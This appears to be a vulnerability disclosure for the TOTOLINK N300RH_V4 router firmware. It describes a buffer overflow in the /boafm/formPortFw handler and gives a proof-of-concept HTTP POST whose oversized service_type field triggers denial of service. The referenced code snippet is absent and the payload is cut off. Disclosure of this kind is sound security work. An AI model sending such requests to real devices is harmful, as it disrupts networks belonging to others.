Key Information Product Information Vendor: TOTOLINK Affected Product: N300RH_V4 Affected Firmware Version: V6.1c.1390_B20191101 Vulnerability Overview The TOTOLINK N300RH V4 router contains a severe buffer overflow vulnerability that can be triggered via the route . Attackers can send malicious HTTP POST requests to cause a denial-of-service (DoS) attack. Vulnerability Details The code does not check the copy length, leading to overflow. The critical code snippet is as follows: POC (Proof of Concept) ```http POST /boafm/formPortFw HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 583 Origin: http://192.168.0.1 Referer: http://192.168.0.1/smart_qos.htm Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache sessionCheck=35101248f26bhf43coe&37f58edg5caf&addPortFw=&service_type=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...